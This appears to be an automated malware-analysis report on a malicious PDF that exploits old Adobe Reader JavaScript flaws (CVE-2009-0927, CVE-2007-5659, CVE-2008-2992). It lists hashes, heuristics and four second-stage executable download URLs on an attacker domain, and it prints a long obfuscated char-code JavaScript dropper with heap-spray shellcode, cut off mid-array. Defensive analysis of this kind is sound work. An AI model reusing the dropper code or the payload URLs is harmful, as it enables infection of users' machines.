PDF malware analysis — malicious · f8112a2b75071fbe

MALICIOUS

PDF

74.4 KB Created: 2009-11-12 19:46:02 Authoring application: PDF Library 10.2.4 (via PDF Library 10.9.9) First seen: 2012-07-12

MD5: c170d1963cab56ed81e3eddb4124d8a0 SHA-1: f2f302c162619e809c11181c08c41e861e523c64 SHA-256: f8112a2b75071fbe1ec31cdba957c8b11121ac363ae2963ba2d0c9752ccfb39c

590 Risk Score

Malware Insights

MITRE ATT&CK

T1204 Malicious Link T1204.001 Malicious Link: Malicious Link T1059 Command and Scripting Interpreter T1059.007 Command and Scripting Interpreter: JavaScript

The PDF file contains embedded JavaScript that exploits multiple known vulnerabilities in Adobe Reader, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. Static analysis identified these exploits and also detected a malicious JavaScript payload (Js.Exploit.Shellcode-18) within an extracted file, which was further flagged by ClamAV as Pdf.Exploit.Agent-36110. The primary attack vector is the exploitation of these vulnerabilities via the embedded JavaScript to likely download and execute a second-stage payload.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/befgm2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/lmux2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/dlpsy2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	37580 bytes
SHA-256: `062784c529be1811b6bc3cd4437805684ba1d3e79f4e66c455d9e5947b3a1d0e`
Detection ClamAV: No threats found Obfuscation or payload: likely 8 of 16 identifiers look randomly generated (e.g. 'fLrLoGmLCIhGaLrICIoLdIeI') — consistent with name-mangling obfuscation.
Preview script First 1,000 lines of the extracted script var bijkpx=14418;bcdn="bcdn";lxizuo="lxizuo";var zcgko="",gijy=false,bfno=0,fzrcuv=String,dhlmrt=fzrcuv['fLrLoGmLCIhGaLrICIoLdIeI'.replace(/[IG2LP]/g,'')],bcpu=String,egjntv=bcpu['eAv7aDl7'.replace(/[7YADL]/g,'')],zmanb="10",arsv="",cdmnsx=[62,58,58,150,166,158,148,164,154,159,159,80,151,153,169,143,154,164,89,169,146,162,164,160,93,80,157,149,159,89,172,61,59,57,58,167,153,153,157,149,81,88,170,145,163,163,161,94,157,149,159,151,165,152,81,90,81,98,81,108,81,156,150,158,90,171,62,58,58,57,58,169,146,162,164,160,81,91,110,80,170,145,163,163,161,107,62,58,58,57,174,61,59,57,58,169,146,162,164,160,81,109,81,169,146,162,164,160,95,163,166,146,164,164,163,153,159,151,89,96,93,80,157,149,159,95,99,89,108,61,59,57,58,162,150,164,166,162,159,80,170,145,163,163,161,107,62,58,58,173,62,58,62,58,58,150,166,158,148,164,154,159,159,80,166,164,154,156,144,160,163,153,159,164,151,88,90,171,62,58,58,57,167,145,163,80,161,145,170,156,160,145,149,80,110,80,166,158,150,163,148,145,161,149,89,82,86,165,118,114,118,105,86,165,97,96,97,97,86,165,102,102,97,96,86,165,114,97,103,100,86,165,97,96,100,96,86,165,97,96,97,96,86,165,101,96,105,114,86,165,105,114,97,115,86,165,98,115,104,96,86,165,105,114,114,116,86,165,97,104,101,96,86,165,116,99,102,117,86,165,105,114,102,101,86,165,105,114,118,115,86,165,97,104,101,101,86,165,100,99,102,98,86,165,116,97,117,98,86,165,97,99,116,98,86,165,98,96,100,98,86,165,105,96,101,96,86,165,97,96,100,104,86,165,119,101,104,101,86,165,116,98,105,114,86,165,102,116,102,113,86,165,97,100,116,98,86,165,102,101,97,96,86,165,118,115,105,114,86,165,102,97,102,97,86,165,102,102,102,99,86,165,103,96,102,103,86,165,102,116,105,114,86,165,100,99,97,104,86,165,105,114,116,96,86,165,97,115,104,101,86,165,119,117,105,114,86,165,104,102,97,99,86,165,105,114,100,115,86,165,104,104,101,117,86,165,116,118,97,99,86,165,102,97,105,114,86,165,102,98,98,115,86,165,102,97,105,114,86,165,102,98,99,100,86,165,104,97,105,114,86,165,101,117,98,100,86,165,104,101,105,105,86,165,105,114,119,115,86,165,99,96,104,97,86,165,119,103,97,99,86,165,101,113,106,105,86,165,101,98,114,116,86,165,100,114,103,96,86,165,119,115,102,101,86,165,97,100,104,101,86,165,116,96,100,99,86,165,100,103,118,114,86,165,119,118,100,99,86,165,101,101,97,99,86,165,106,103,97,115,86,165,116,118,105,114,86,165,104,101,114,117,86,165,99,114,119,116,86,165,101,118,119,105,86,165,118,104,102,97,86,165,119,118,106,100,86,165,119,118,119,118,86,165,116,99,100,114,86,165,104,100,103,97,86,165,118,114,97,98,86,165,105,114,117,105,86,165,97,115,101,101,86,165,102,117,106,98,86,165,119,98,97,99,86,165,118,96,117,97,86,165,116,102,97,99,86,165,116,105,100,99,86,165,115,103,97,118,86,165,102,118,97,104,86,165,118,97,116,97,86,165,97,99,97,98,86,165,97,99,116,113,86,165,105,114,116,118,86,165,97,99,97,97,86,165,105,105,116,98,86,165,119,104,101,101,86,165,105,114,103,97,86,165,119,104,101,101,86,165,102,117,102,118,86,165,116,105,102,114,86,165,102,101,116,99,86,165,118,115,105,114,86,165,118,104,102,97,86,165,119,118,101,105,86,165,119,118,119,118,86,165,103,104,102,96,86,165,103,96,118,104,86,165,97,100,115,118,86,165,103,115,118,104,86,165,119,118,119,118,86,165,100,99,119,118,86,165,102,98,117,98,86,165,119,118,102,98,86,165,97,104,104,101,86,165,117,96,119,118,86,165,101,101,105,105,86,165,105,114,119,115,86,165,119,115,101,101,86,165,116,99,116,105,86,165,105,114,102,101,86,165,105,99,118,115,86,165,97,115,118,115,86,165,101,101,105,116,86,165,102,96,119,100,86,165,101,101,116,102,86,165,104,101,119,100,86,165,101,101,116,102,86,165,104,98,119,101,86,165,101,101,116,102,86,165,103,115,119,102,86,165,101,101,116,102,86,165,103,116,119,103,86,165,101,101,116,102,86,165,103,118,119,104,86,165,101,101,116,102,86,165,103,117,119,105,86,165,101,101,116,102,86,165,99,117,119,113,86,165,101,101,116,102,86,165,103,100,119,114,86,165,101,101,116,102,86,165,103,115,119,115,86,165,101,101,116,102,86,165,103,115,119,116,86,165,101,101,116,102,86,165,97,96,119,117,86,165,114,96,118,104,86,165,119,118,119,118,86,165,102,96,119,118,86,165,102,116,103,104,86,165,98,97,105,113,86,165,118,104,98,102,86,165,119,118,98,101,86,165,119,118,119,118,86,165,116,100,105,99,86,165,105,101,97,115,86,165,104,100,116,96,86,165,103,113,98,101,86,165,103,113,97,96,86,165,119,118,97,96,86,165,97,115,104,101,86,165,104,101,119,118,86,165,103,113,97,104,86,165,119,118,97,96,86,165,105,101,117,96,86,165,104,101,116,96,86,165,101,96,97,99,86,165,116,99,116,105,86,165,116,96,100,99,86,165,116,99,116,105,86,165,100,99,102,103,86,165,105,114,116,96,86,165,99,100,101,115,86,165,105,114,97,115,86,165,99,100,104,115,86,165,119,115,97,104,86,165,114,113,119,99,86,165,116,99,102,118,86,165,101,115,105,114,86,165,97,100,99,100,86,165,100,105,105,96,86,165,105,114,97,96,86,165,104,100,116,97,86,165,101,96,97,102,86,165,100,104,105,96,86,165,104,101,97,96,86,165,99,114,119,113,86,165,116,99,116,97,86,165,105,114,102,101,86,165,105,99,118,115,86,165,103,100,118,115,86,165,105,116,102,99,86,165,119,96,101,101,86,165,100,99,102,103,86,165,102,96,117,114,86,165,101,101,116,102,86,165,103,114,119,96,86,165,101,101,116,102,86,165,103,101,119,97,86,165,101,101,116,102,86,165,104,98,119,98,86,165,101,101,116,102,86,165,103,117,119,99,86,165,101,101,116,102,86,165,103,101,119,100,86,165,101,101,116,102,86,165,103,115,119,101,86,165,101,101,116,102,86,165,100,99,119,102,86,165,101,101,116,102,86,165,100,98,119,103,86,165,101,101,116,102,86,165,99,117,119,104,86,165,101,101,116,102,86,165,103,100,119,105,86,165,101,101,116,102,86,165,103,115,119,113,86,165,101,101,116,102,86,165,103,115,119,114,86,165,102,116,105,104,86,165,118,104,119,115,86,165,119,118,97,114,86,165,119,118,119,118,86,165,103,104,102,96,86,165,101,99,103,104,86,165,105,117,119,105,86,165,105,96,118,104,86,165,119,118,119,117,86,165,105,114,119,118,86,165,105,116,119,104,86,165,106,115,101,101,86,165,101,100,103,113,86,165,118,104,102,96,86,165,119,118,104,117,86,165,119,118,119,118,86,165,101,101,105,116,86,165,103,113,118,96,86,165,102,96,98,96,86,165,104,99,118,104,86,165,119,118,119,118,86,165,105,99,119,118,86,165,98,115,116,100,86,165,101,101,105,116,86,165,102,96,118,96,86,165,101,101,105,116,86,165,102,96,106,115,86,165,102,99,102,99,86,165,102,99,102,99,86,165,102,99,102,99,86,165,104,101,119,118,86,165,116,103,97,104,86,165,106,115,101,101,86,165,97,96,101,100,86,165,97,96,97,96,86,165,119,118,102,99,86,165,102,118,117,103,86,165,115,102,97,118,86,165,102,114,116,96,86,165,116,99,116,105,86,165,105,114,102,101,86,165,102,97,118,115,86,165,102,99,102,97,86,165,102,103,102,102,86,165,101,98,103,113,86,165,104,98,118,104,86,165,97,96,97,96,86,165,105,114,97,96,86,165,100,99,117,104,86,165,105,101,119,102,86,165,102,105,117,114,86,165,101,101,116,103,86,165,103,97,119,104,86,165,103,101,99,117,86,165,116,103,104,104,86,165,119,115,101,101,86,165,97,96,103,101,86,165,97,96,97,96,86,165,102,102,104,117,86,165,101,101,105,116,86,165,102,96,119,104,86,165,118,104,102,102,86,165,97,96,102,97,86,165,97,96,97,96,86,165,102,96,102,105,86,165,115,97,118,104,86,165,119,118,119,117,86,165,105,101,119,118,86,165,102,105,116,96,86,165,104,100,102,105,86,165,105,116,100,105,86,165,97,97,101,102,86,165,118,104,102,96,86,165,97,96,100,114,86,165,97,96,97,96,86,165,119,104,105,114,86,165,101,101,105,116,86,165,102,96,119,104,86,165,99,97,118,104,86,165,119,118,119,118,86,165,105,101,119,118,86,165,102,105,116,96,86,165,104,100,102,105,86,165,102,103,97,115,86,165,97,97,118,104,86,165,119,118,119,118,86,165,102,105,119,118,86,165,101,100,116,102,86,165,119,118,100,104,86,165,102,96,104,99,86,165,101,101,105,116,86,165,119,117,119,104,86,165,102,104,97,96,86,165,101,101,105,116,86,165,102,96,119,104,86,165,118,104,102,103,86,165,119,117,104,100,86,165,119,118,119,118,86,165,102,105,102,105,86,165,101,102,101,102,86,165,119,99,100,114,86,165,114,113,104,115,86,165,102,117,102,118,86,165,116,105,102,114,86,165,102,101,116,99,86,165,118,115,105,114,86,165,102,99,102,97,86,165,103,96,103,102,86,165,100,98,115,97,86,165,97,96,118,104,86,165,97,96,97,96,86,165,102,104,97,96,86,165,97,104,100,104,86,165,97,99,104,100,86,165,118,114,101,96,86,165,101,96,119,105,86,165,102,116,105,114,86,165,105,96,97,104,86,165,101,98,119,114,86,165,97,104,104,101,86,165,117,114,100,99,86,165,98,104,105,113,86,165,116,99,105,114,86,165,98,103,118,114,86,165,98,104,100,104,86,165,98,97,104,102,86,165,100,99,101,96,86,165,105,100,116,105,86,165,104,100,117,114,86,165,101,96,97,115,86,165,97,104,100,104,86,165,119,114,104,101,86,165,119,117,101,96,86,165,118,114,116,114,86,165,100,99,119,98,86,165,105,105,116,96,86,165,119,115,101,101,86,165,101,101,105,114,86,165,102,114,119,115,86,165,116,99,116,105,86,165,97,98,100,98,86,165,104,100,103,104,86,165,104,96,104,100,86,165,99,118,100,113,86,165,103,116,99,118,86,165,104,98,103,105,86,165,103,118,104,98,86,165,103,118,104,98,86,165,103,101,103,117,86,165,103,118,104,98,86,165,103,105,103,102,86,165,103,101,104,102,86,165,103,99,99,117,86,165,103,116,103,118,86,165,104,99,99,118,86,165,103,101,103,115,86,165,104,96,103,101,86,165,103,98,99,118,86,165,103,102,103,101,86,165,103,116,103,103,86,165,99,117,100,98,86,165,104,104,103,101,86,165,97,96,103,101,86,165,104,100,103,104,86,165,104,96,104,100,86,165,99,118,100,113,86,165,103,116,99,118,86,165,104,98,103,105,86,165,103,118,104,98,86,165,103,118,104,98,86,165,103,101,103,117,86,165,103,118,104,98,86,165,103,105,103,102,86,165,103,101,104,102,86,165,103,99,99,117,86,165,103,116,103,118,86,165,104,99,99,118,86,165,103,101,103,115,86,165,104,96,103,101,86,165,103,99,99,118,86,165,103,105,103,115,86,165,103,114,103,99,86,165,104,96,99,117,86,165,104,96,103,104,86,165,104,98,100,118,86,165,97,96,100,116,83,89,108,61,59,57,58,166,146,162,81,158,160,160,81,109,81,165,159,149,164,147,146,160,150,88,83,85,166,96,114,96,114,85,166,96,114,96,114,85,166,96,114,96,114,85,166,96,114,96,114,82,90,61,59,57,58,166,146,162,81,152,150,145,161,146,157,159,148,155,81,109,81,158,160,160,81,91,81,160,146,169,157,159,146,148,108,61,59,57,58,166,146,162,81,146,154,151,147,156,160,147,156,80,110,80,166,158,150,163,148,145,161,149,89,82,86,165,97,113,97,113,86,165,97,113,97,113,83,89,108,61,59,57,58,166,146,162,81,152,150,145,149,149,163,163,154,170,150,80,110,80,99,96,108,61,59,57,58,166,146,162,81,163,161,162,146,169,81,109,81,152,150,145,149,149,163,163,154,170,150,80,92,80,153,149,146,160,147,156,160,147,156,94,157,149,159,151,165,152,108,61,59,57,58,167,153,153,157,149,81,88,147,153,152,146,157,159,148,155,95,156,150,158,152,164,153,80,109,80,164,160,163,145,170,89,172,61,59,57,58,57,147,153,152,146,157,159,148,155,81,91,110,80,147,153,152,146,157,159,148,155,108,61,59,57,58,173,62,58,58,57,167,145,163,80,151,153,157,156,147,156,160,147,156,80,110,80,147,153,152,146,157,159,148,155,95,163,166,146,164,164,163,153,159,151,89,96,93,80,164,160,163,145,170,89,108,61,59,57,58,166,146,162,81,146,157,159,148,155,81,109,81,146,154,151,147,156,160,147,156,94,164,165,147,163,165,162,154,158,152,88,97,92,81,146,154,151,147,156,160,147,156,94,157,149,159,151,165,152,94,163,161,162,146,169,90,107,62,58,58,57,168,152,154,156,150,80,89,146,157,159,148,155,95,156,150,158,152,164,153,91,164,160,163,145,170,80,109,80,97,168,101,96,97,96,97,89,172,61,59,57,58,57,147,156,160,147,156,80,110,80,147,156,160,147,156,80,92,80,147,156,160,147,156,80,92,80,151,153,157,156,147,156,160,147,156,107,62,58,58,57,174,61,59,57,58,166,146,162,81,157,150,157,144,145,163,162,146,169,81,109,81,158,150,167,81,113,163,162,146,169,89,89,108,61,59,57,58,150,160,162,81,88,167,145,163,80,154,80,110,80,97,107,81,153,81,108,81,97,101,96,97,107,81,153,92,91,90,171,62,58,58,57,58,157,150,157,144,145,163,162,146,169,140,153,142,80,110,80,147,156,160,147,156,80,92,80,153,149,146,160,147,156,160,147,156,107,62,58,58,57,174,61,59,57,58,166,146,162,81,158,166,157,81,109,81,97,99,105,106,105,106,105,106,105,106,105,106,105,106,105,106,105,106,105,106,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,104,105,107,62,58,58,57,166,164,154,156,95,160,163,153,159,164,151,88,83,85,101,101,97,96,97,150,83,92,81,158,166,157,90,107,62,58,58,173,62,58,62,58,58,150,166,158,148,164,154,159,159,80,148,159,157,156,146,146,144,149,158,145,154,156,89,89,172,61,59,57,58,166,146,162,81,163,153,149,157,156,148,159,149,149,81,109,81,165,159,149,164,147,146,160,150,88,83,85,166,117,115,117,106,85,166,96,97,96,98,85,166,101,103,96,97,85,166,113,98,102,101,85,166,96,97,99,97,85,166,96,97,96,97,85,166,100,97,104,115,85,166,104,115,96,116,85,166,97,116,103,97,85,166,104,115,113,117,85,166,96,105,100,97,85,166,115,100,101,118,85,166,104,115,101,102,85,166,104,115,117,116,85,166,96,105,100,102,85,166,99,100,101,99,85,166,115,98,116,99,85,166,96,100,115,99,85,166,97,97,99,99,85,166,104,97,100,97,85,166,96,97,99,105,85,166,118,102,103,102,85,166,115,99,104,115,85,166,101,117,101,114,85,166,96,101,115,99,85,166,101,102,96,97,85,166,117,116,104,115,85,166,101,98,101,98,85,166,101,103,101,100,85,166,102,97,101,104,85,166,101,117,104,115,85,166,99,100,96,105,85,166,104,115,115,97,85,166,96,116,103,102,85,166,118,118,104,115,85,166,103,103,96,100,85,166,104,115,99,116,85,166,103,105,100,118,85,166,115,119,96,100,85,166,101,98,104,115,85,166,101,99,97,116,85,166,101,98,104,115,85,166,101,99,98,101,85,166,103,98,104,115,85,166,100,118,97,101,85,166,103,102,104,106,85,166,104,115,118,116,85,166,98,97,103,98,85,166,118,104,96,100,85,166,100,114,105,106,85,166,100,99,113,117,85,166,99,115,102,97,85,166,118,116,101,102,85,166,96,101,103,102,85,166,115,97,99,100,85,166,99,104,117,115,85,166,118,119,99,100,85,166,100,102,96,100,85,166,105,104,96,116,85,166,115,119,104,115,85,166,103,102,113,118,85,166,98,115,118,117,85,166,100,119,118,106,85,166,117,105,101,98,85,166,118,119,105,101,85,166,118,119,118,119,85,166,115,100,99,115,85,166,103,101,102,98,85,166,117,115,96,99,85,166,104,115,116,106,85,166,96,116,100,102,85,166,101,118,105,99,85,166,118,99,96,100,85,166,117,97,116,98,85,166,115,103,96,100,85,166,115,106,99,100,85,166,114,104,96,119,85,166,101,119,96,105,85,166,117,98,115,98,85,166,96,100,96,99,85,166,96,100,115,114,85,166,104,115,115,119,85,166,96,100,96,98,85,166,104,106,115,99,85,166,118,105,100,102,85,166,104,115,102,98,85,166,118,105,100,102,85,166,101,118,101,119,85,166,115,106,101,115,85,166,101,102,115,100,85,166,117,116,104,115,85,166,117,105,101,98,85,166,118,119,100,106,85,166,118,119,118,119,85,166,102,105,101,97,85,166,102,97,117,105,85,166,96,101,114,119,85,166,102,116,117,105,85,166,118,119,118,119,85,166,99,100,118,119,85,166,101,99,116,99,85,166,118,119,101,99,85,166,96,105,103,102,85,166,116,97,118,119,85,166,100,102,104,106,85,166,104,115,118,116,85,166,118,116,100,102,85,166,115,100,115,106,85,166,104,115,101,102,85,166,104,100,117,116,85,166,96,116,117,116,85,166,100,102,104,117,85,166,101,97,118,101,85,166,100,102,115,103,85,166,103,102,118,101,85,166,100,102,115,103,85,166,103,99,118,102,85,166,100,102,115,103,85,166,102,116,118,103,85,166,100,102,115,103,85,166,102,117,118,104,85,166,100,102,115,103,85,166,102,119,118,105,85,166,100,102,115,103,85,166,102,118,118,106,85,166,100,102,115,103,85,166,98,118,118,114,85,166,100,102,115,103,85,166,102,101,118,115,85,166,100,102,115,103,85,166,102,116,118,116,85,166,100,102,115,103,85,166,102,116,118,117,85,166,100,102,115,103,85,166,96,97,118,118,85,166,113,97,117,105,85,166,118,119,118,119,85,166,101,97,118,119,85,166,101,117,102,105,85,166,97,98,104,114,85,166,117,105,97,103,85,166,118,119,97,102,85,166,118,119,118,119,85,166,115,101,104,100,85,166,104,102,96,116,85,166,103,101,115,97,85,166,102,114,97,102,85,166,102,114,96,97,85,166,118,119,96,97,85,166,96,116,103,102,85,166,103,102,118,119,85,166,102,114,96,105,85,166,118,119,96,97,85,166,104,102,116,97,85,166,103,102,115,97,85,166,100,97,96,100,85,166,115,100,115,106,85,166,115,97,99,100,85,166,115,100,115,106,85,166,99,100,101,104,85,166,104,115,115,97,85,166,98,101,100,116,85,166,104,115,96,116,85,166,98,101,103,116,85,166,118,116,96,105,85,166,113,114,118,100,85,166,115,100,101,119,85,166,100,116,104,115,85,166,96,101,98,101,85,166,99,106,104,97,85,166,104,115,96,97,85,166,103,101,115,98,85,166,100,97,96,103,85,166,99,105,104,97,85,166,103,102,96,97,85,166,98,115,118,114,85,166,115,100,115,98,85,166,104,115,101,102,85,166,104,100,117,116,85,166,102,101,117,116,85,166,104,117,101,100,85,166,118,97,100,102,85,166,99,100,101,104,85,166,101,97,116,115,85,166,100,102,115,103,85,166,102,115,118,97,85,166,100,102,115,103,85,166,102,102,118,98,85,166,100,102,115,103,85,166,103,99,118,99,85,166,100,102,115,103,85,166,102,118,118,100,85,166,100,102,115,103,85,166,102,102,118,101,85,166,100,102,115,103,85,166,102,116,118,102,85,166,100,102,115,103,85,166,99,100,118,103,85,166,100,102,115,103,85,166,99,99,118,104,85,166,100,102,115,103,85,166,98,118,118,105,85,166,100,102,115,103,85,166,102,101,118,106,85,166,100,102,115,103,85,166,102,116,118,114,85,166,100,102,115,103,85,166,102,116,118,115,85,166,101,117,104,105,85,166,117,105,118,116,85,166,118,119,96,115,85,166,118,119,118,119,85,166,102,105,101,97,85,166,100,100,102,105,85,166,104,118,118,106,85,166,104,97,117,105,85,166,118,119,118,118,85,166,104,115,118,119,85,166,104,117,118,105,85,166,105,116,100,102,85,166,100,101,102,114,85,166,117,105,101,97,85,166,118,119,103,118,85,166,118,119,118,119,85,166,100,102,104,117,85,166,102,114,117,97,85,166,101,97,97,97,85,166,103,100,117,105,85,166,118,119,118,119,85,166,104,100,118,119,85,166,97,116,115,101,85,166,100,102,104,117,85,166,101,97,117,97,85,166,100,102,104,117,85,166,101,97,105,116,85,166,101,100,101,100,85,166,101,100,101,100,85,166,101,100,101,100,85,166,103,102,118,119,85,166,115,104,96,105,85,166,105,116,100,102,85,166,96,97,100,101,85,166,96,97,96,97,85,166,118,119,101,100,85,166,101,119,116,104,85,166,114,103,96,119,85,166,101,115,115,97,85,166,115,100,115,106,85,166,104,115,101,102,85,166,101,98,117,116,85,166,101,100,101,98,85,166,101,104,101,103,85,166,100,99,102,114,85,166,103,99,117,105,85,166,96,97,96,97,85,166,104,115,96,97,85,166,99,100,116,105,85,166,104,102,118,103,85,166,101,106,116,115,85,166,100,102,115,104,85,166,102,98,118,105,85,166,102,102,98,118,85,166,115,104,103,105,85,166,118,116,100,102,85,166,96,97,102,102,85,166,96,97,96,97,85,166,101,103,103,118,85,166,100,102,104,117,85,166,101,97,118,105,85,166,117,105,101,103,85,166,96,97,101,98,85,166,96,97,96,97,85,166,101,97,101,106,85,166,114,98,117,105,85,166,118,119,118,118,85,166,104,102,118,119,85,166,101,106,115,97,85,166,103,101,101,106,85,166,104,117,99,106,85,166,96,98,100,103,85,166,117,105,101,97,85,166,96,97,99,115,85,166,96,97,96,97,85,166,118,105,104,115,85,166,100,102,104,117,85,166,101,97,118,105,85,166,98,98,117,105,85,166,118,119,118,119,85,166,104,102,118,119,85,166,101,106,115,97,85,166,103,101,101,106,85,166,101,104,96,116,85,166,96,98,117,105,85,166,118,119,118,119,85,166,101,106,118,119,85,166,100,101,115,103,85,166,118,119,99,105,85,166,101,97,103,100,85,166,100,102,104,117,85,166,118,118,118,105,85,166,101,105,96,97,85,166,100,102,104,117,85,166,101,97,118,105,85,166,117,105,101,104,85,166,118,118,103,101,85,166,118,119,118,119,85,166,101,106,101,106,85,166,100,103,100,103,85,166,118,100,99,115,85,166,113,114,103,116,85,166,101,118,101,119,85,166,115,106,101,115,85,166,101,102,115,100,85,166,117,116,104,115,85,166,101,100,101,98,85,166,102,97,102,103,85,166,99,99,114,98,85,166,96,97,117,105,85,166,96,97,96,97,85,166,101,105,96,97,85,166,96,105,99,105,85,166,96,100,103,101,85,166,117,115,100,97,85,166,100,97,118,106,85,166,101,117,104,115,85,166,104,97,96,105,85,166,100,99,118,115,85,166,96,105,103,102,85,166,116,115,99,100,85,166,97,105,104,114,85,166,115,100,104,115,85,166,97,104,117,115,85,166,97,105,99,105,85,166,97,98,103,103,85,166,99,100,100,97,85,166,104,101,115,106,85,166,103,101,116,115,85,166,100,97,96,116,85,166,96,105,99,105,85,166,118,115,103,102,85,166,118,118,100,97,85,166,117,115,115,115,85,166,99,100,118,99,85,166,104,106,115,97,85,166,118,116,100,102,85,166,100,102,104,115,85,166,101,115,118,116,85,166,115,100,115,106,85,166,96,99,99,99,85,166,103,101,102,105,85,166,103,97,103,101,85,166,98,119,99,114,85,166,102,117,98,119,85,166,103,99,102,106,85,166,102,119,103,99,85,166,102,119,103,99,85,166,102,102,102,118,85,166,102,119,103,99,85,166,102,106,102,103,85,166,102,102,103,103,85,166,102,100,98,118,85,166,102,117,102,119,85,166,103,100,98,119,85,166,102,102,102,116,85,166,103,97,102,102,85,166,102,116,98,119,85,166,103,102,102,117,85,166,99,99,103,105,85,166,102,102,98,118,85,166,102,102,103,105,85,166,102,105,96,97,85,166,103,101,103,101,85,166,99,114,103,97,85,166,98,119,98,119,85,166,102,106,102,117,85,166,103,99,103,99,85,166,103,99,102,119,85,166,102,118,102,119,85,166,103,99,102,102,85,166,102,103,102,119,85,166,103,103,102,106,85,166,98,118,102,102,85,166,102,119,102,100,85,166,98,119,102,117,85,166,102,116,103,100,85,166,102,102,102,102,85,166,98,119,103,97,85,166,102,116,102,100,85,166,102,100,102,106,85,166,98,118,102,115,85,166,102,105,103,97,85,166,99,119,103,97,85,166,99,117,103,99,85,166,96,97,96,97,82,90,107,62,58,58,57,167,145,163,80,158,149,158,143,146,162,163,145,170,80,110,80,159,149,168,80,114,162,163,145,170,88,90,107,62,58,58,57,167,145,163,80,148,147,81,109,81,96,169,96,148,96,148,96,148,96,148,107,62,58,58,57,167,145,163,80,146,148,149,162,81,109,81,96,169,100,97,96,97,96,97,107,62,58,58,57,167,145,163,80,164,147,144,156,150,158,81,109,81,163,153,149,157,156,148,159,149,149,95,156,150,158,152,164,153,80,91,80,99,107,62,58,58,57,167,145,163,80,157,149,159,80,110,80,146,148,149,162,81,93,81,88,164,147,144,156,150,158,92,96,169,99,105,89,108,61,59,57,58,166,146,162,81,169,146,162,164,160,81,109,81,165,159,149,164,147,146,160,150,88,83,85,166,105,97,105,97,85,166,105,97,